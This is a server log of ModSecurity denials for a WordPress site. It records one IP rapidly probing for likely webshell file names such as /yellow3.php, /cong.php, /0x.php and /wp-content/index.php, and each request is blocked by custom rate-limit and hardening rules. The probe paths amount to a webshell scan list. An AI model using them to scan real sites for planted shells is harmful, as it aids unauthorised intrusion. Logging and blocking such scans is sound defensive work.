[Wed Nov 26 00:58:35.798215 2025] [:error] [pid 43843:tid 43857] [client 172.207.189.235:21398] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yellow3.php"] [unique_id "aSXgOxhx4v3NUNdMKDMiEQAAAcw"]
[Wed Nov 26 00:58:36.070460 2025] [:error] [pid 28836:tid 29013] [client 172.207.189.235:21421] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yellow3.php"] [unique_id "aSXgPJwNRsoxcLQGkTcdcQAAAtc"]
[Wed Nov 26 00:58:36.331398 2025] [:error] [pid 14076:tid 14105] [client 172.207.189.235:21380] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yellow3.php"] [unique_id "aSXgPHsB4Gz6Qw-pvBuAZQAAABg"]
[Wed Nov 26 00:58:36.629183 2025] [:error] [pid 28739:tid 28776] [client 172.207.189.235:21426] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yellow3.php"] [unique_id "aSXgPBxGpKmlkG4FexT2jAAAAg4"]
[Wed Nov 26 00:58:36.897456 2025] [:error] [pid 14077:tid 14120] [client 172.207.189.235:21452] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cong.php"] [unique_id "aSXgPBG9n7UHEkwDTygFIwAAAEo"]
[Wed Nov 26 00:58:37.199306 2025] [:error] [pid 14078:tid 14153] [client 172.207.189.235:21305] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cong.php"] [unique_id "aSXgPdVXYbb0ii_rVoLgDwAAAJA"]
[Wed Nov 26 00:58:37.460523 2025] [:error] [pid 14076:tid 14094] [client 172.207.189.235:21317] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cong.php"] [unique_id "aSXgPXsB4Gz6Qw-pvBuAbwAAAA0"]
[Wed Nov 26 00:58:37.705859 2025] [:error] [pid 14077:tid 14118] [client 172.207.189.235:21501] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cong.php"] [unique_id "aSXgPRG9n7UHEkwDTygFJAAAAEg"]
[Wed Nov 26 00:58:37.964898 2025] [:error] [pid 28739:tid 28783] [client 172.207.189.235:21330] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fw.php"] [unique_id "aSXgPRxGpKmlkG4FexT2kAAAAhU"]
[Wed Nov 26 00:58:38.275352 2025] [:error] [pid 14076:tid 14089] [client 172.207.189.235:21485] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fw.php"] [unique_id "aSXgPnsB4Gz6Qw-pvBuAcQAAAAg"]
[Wed Nov 26 00:58:38.558999 2025] [:error] [pid 14168:tid 14195] [client 172.207.189.235:21494] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fw.php"] [unique_id "aSXgPvR-ZDU0QEgAIIu9kwAAANg"]
[Wed Nov 26 00:58:38.870024 2025] [:error] [pid 28609:tid 28628] [client 172.207.189.235:21474] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fw.php"] [unique_id "aSXgPiGGdT-nZJVs3x0q0QAAAYo"]
[Wed Nov 26 00:58:39.160989 2025] [:error] [pid 28739:tid 28778] [client 172.207.189.235:21410] [client 172.207.189.235] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aSXgPxxGpKmlkG4FexT2kwAAAhA"]
[Wed Nov 26 00:58:39.569691 2025] [:error] [pid 43981:tid 44002] [client 172.207.189.235:21500] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/termps.php"] [unique_id "aSXgPwgZn97m_qh_RaGYrAAAAxM"]
[Wed Nov 26 00:58:39.830730 2025] [:error] [pid 28609:tid 28639] [client 172.207.189.235:21337] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/termps.php"] [unique_id "aSXgPyGGdT-nZJVs3x0q0gAAAZU"]
[Wed Nov 26 00:58:40.102779 2025] [:error] [pid 14078:tid 14159] [client 172.207.189.235:21405] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/termps.php"] [unique_id "aSXgQNVXYbb0ii_rVoLgEgAAAJY"]
[Wed Nov 26 00:58:40.389928 2025] [:error] [pid 28609:tid 28633] [client 172.207.189.235:21374] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/termps.php"] [unique_id "aSXgQCGGdT-nZJVs3x0q0wAAAY8"]
[Wed Nov 26 00:58:40.694879 2025] [:error] [pid 28609:tid 28636] [client 172.207.189.235:21425] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/co.php"] [unique_id "aSXgQCGGdT-nZJVs3x0q1AAAAZI"]
[Wed Nov 26 00:58:40.937780 2025] [:error] [pid 28739:tid 28782] [client 172.207.189.235:21503] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/co.php"] [unique_id "aSXgQBxGpKmlkG4FexT2lQAAAhQ"]
[Wed Nov 26 00:58:41.199655 2025] [:error] [pid 14076:tid 14099] [client 172.207.189.235:21387] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/co.php"] [unique_id "aSXgQXsB4Gz6Qw-pvBuAdwAAABI"]
[Wed Nov 26 00:58:41.540318 2025] [:error] [pid 14076:tid 14088] [client 172.207.189.235:21334] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/co.php"] [unique_id "aSXgQXsB4Gz6Qw-pvBuAeQAAAAc"]
[Wed Nov 26 00:58:41.810808 2025] [:error] [pid 28609:tid 28631] [client 172.207.189.235:21464] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cong.php"] [unique_id "aSXgQSGGdT-nZJVs3x0q2QAAAY0"]
[Wed Nov 26 00:58:42.121941 2025] [:error] [pid 14078:tid 14149] [client 172.207.189.235:21274] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cong.php"] [unique_id "aSXgQtVXYbb0ii_rVoLgFAAAAIw"]
[Wed Nov 26 00:58:42.453319 2025] [:error] [pid 28609:tid 28621] [client 172.207.189.235:21424] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cong.php"] [unique_id "aSXgQiGGdT-nZJVs3x0q2gAAAYM"]
[Wed Nov 26 00:58:42.798879 2025] [:error] [pid 43843:tid 43848] [client 172.207.189.235:21331] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cong.php"] [unique_id "aSXgQhhx4v3NUNdMKDMiFgAAAcM"]
[Wed Nov 26 00:58:43.033519 2025] [:error] [pid 14077:tid 14129] [client 172.207.189.235:21271] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atomlib.php"] [unique_id "aSXgQxG9n7UHEkwDTygFKgAAAFM"]
[Wed Nov 26 00:58:43.287040 2025] [:error] [pid 43843:tid 43858] [client 172.207.189.235:21454] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atomlib.php"] [unique_id "aSXgQxhx4v3NUNdMKDMiFwAAAc0"]
[Wed Nov 26 00:58:43.662188 2025] [:error] [pid 14077:tid 14123] [client 172.207.189.235:21436] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atomlib.php"] [unique_id "aSXgQxG9n7UHEkwDTygFLgAAAE0"]
[Wed Nov 26 00:58:43.890112 2025] [:error] [pid 28609:tid 28642] [client 172.207.189.235:21327] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atomlib.php"] [unique_id "aSXgQyGGdT-nZJVs3x0q3wAAAZg"]
[Wed Nov 26 00:58:44.142183 2025] [:error] [pid 14078:tid 14145] [client 172.207.189.235:21350] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w.php"] [unique_id "aSXgRNVXYbb0ii_rVoLgFwAAAIg"]
[Wed Nov 26 00:58:44.375921 2025] [:error] [pid 14077:tid 14119] [client 172.207.189.235:21341] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w.php"] [unique_id "aSXgRBG9n7UHEkwDTygFMQAAAEk"]
[Wed Nov 26 00:58:44.609067 2025] [:error] [pid 14168:tid 14184] [client 172.207.189.235:21464] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w.php"] [unique_id "aSXgRPR-ZDU0QEgAIIu9nAAAAM0"]
[Wed Nov 26 00:58:45.051155 2025] [:error] [pid 14078:tid 14151] [client 172.207.189.235:21321] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w.php"] [unique_id "aSXgRdVXYbb0ii_rVoLgGQAAAI4"]
[Wed Nov 26 00:58:45.487911 2025] [:error] [pid 43981:tid 43991] [client 172.207.189.235:21187] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aSXgRQgZn97m_qh_RaGYtwAAAwg"]
[Wed Nov 26 00:58:45.855314 2025] [:error] [pid 2987:tid 3006] [client 172.207.189.235:21487] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aSXgRc-djEt-pTzPxnwAmwAAAVE"]
[Wed Nov 26 00:58:46.086252 2025] [:error] [pid 28609:tid 28622] [client 172.207.189.235:21423] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aSXgRiGGdT-nZJVs3x0q7gAAAYQ"]
[Wed Nov 26 00:58:46.368373 2025] [:error] [pid 2987:tid 3004] [client 172.207.189.235:21446] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aSXgRs-djEt-pTzPxnwAnAAAAU8"]
[Wed Nov 26 00:58:46.624821 2025] [:error] [pid 14078:tid 14144] [client 172.207.189.235:21361] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aSXgRtVXYbb0ii_rVoLgGgAAAIc"]
[Wed Nov 26 00:58:46.868832 2025] [:error] [pid 28609:tid 28642] [client 172.207.189.235:21466] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aSXgRiGGdT-nZJVs3x0q8gAAAZg"]
[Wed Nov 26 00:58:47.203673 2025] [:error] [pid 28836:tid 28958] [client 172.207.189.235:21471] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aSXgR5wNRsoxcLQGkTcdhQAAAsM"]
[Wed Nov 26 00:58:47.456531 2025] [:error] [pid 28836:tid 29007] [client 172.207.189.235:21439] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aSXgR5wNRsoxcLQGkTcdhgAAAtE"]
[Wed Nov 26 00:58:47.719193 2025] [:error] [pid 14168:tid 14181] [client 172.207.189.235:21444] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0x.php"] [unique_id "aSXgR_R-ZDU0QEgAIIu9nwAAAMo"]
[Wed Nov 26 00:58:47.984801 2025] [:error] [pid 43843:tid 43855] [client 172.207.189.235:21352] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0x.php"] [unique_id "aSXgRxhx4v3NUNdMKDMiHwAAAco"]
[Wed Nov 26 00:58:48.298936 2025] [:error] [pid 28836:tid 29009] [client 172.207.189.235:21293] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0x.php"] [unique_id "aSXgSJwNRsoxcLQGkTcdiQAAAtM"]
[Wed Nov 26 00:58:48.539287 2025] [:error] [pid 28739:tid 28783] [client 172.207.189.235:21448] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0x.php"] [unique_id "aSXgSBxGpKmlkG4FexT2mgAAAhU"]
[Wed Nov 26 00:58:48.784096 2025] [:error] [pid 2987:tid 2991] [client 172.207.189.235:21428] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "aSXgSM-djEt-pTzPxnwAogAAAUI"]
[Wed Nov 26 00:58:49.022071 2025] [:error] [pid 2987:tid 2996] [client 172.207.189.235:21375] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "aSXgSc-djEt-pTzPxnwAowAAAUc"]
[Wed Nov 26 00:58:49.257068 2025] [:error] [pid 14077:tid 14129] [client 172.207.189.235:21335] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "aSXgSRG9n7UHEkwDTygFOwAAAFM"]
[Wed Nov 26 00:58:49.597458 2025] [:error] [pid 14077:tid 14123] [client 172.207.189.235:21323] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "aSXgSRG9n7UHEkwDTygFPQAAAE0"]
[Wed Nov 26 00:58:49.903971 2025] [:error] [pid 14077:tid 14111] [client 172.207.189.235:21291] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aSXgSRG9n7UHEkwDTygFPwAAAEE"]
[Wed Nov 26 00:58:50.159882 2025] [:error] [pid 43843:tid 43866] [client 172.207.189.235:21333] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aSXgShhx4v3NUNdMKDMiIwAAAdU"]
[Wed Nov 26 00:58:50.393492 2025] [:error] [pid 43981:tid 43985] [client 172.207.189.235:21406] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aSXgSggZn97m_qh_RaGYvQAAAwI"]
[Wed Nov 26 00:58:50.650960 2025] [:error] [pid 43843:tid 43861] [client 172.207.189.235:21197] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aSXgShhx4v3NUNdMKDMiJAAAAdA"]
[Wed Nov 26 00:58:50.968438 2025] [:error] [pid 14078:tid 14159] [client 172.207.189.235:21248] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/index.php"] [unique_id "aSXgStVXYbb0ii_rVoLgIwAAAJY"]
[Wed Nov 26 00:58:51.275463 2025] [:error] [pid 14078:tid 14146] [client 172.207.189.235:21368] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/index.php"] [unique_id "aSXgS9VXYbb0ii_rVoLgJQAAAIk"]
[Wed Nov 26 00:58:51.580724 2025] [:error] [pid 43981:tid 44001] [client 172.207.189.235:21260] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/index.php"] [unique_id "aSXgSwgZn97m_qh_RaGYwAAAAxI"]
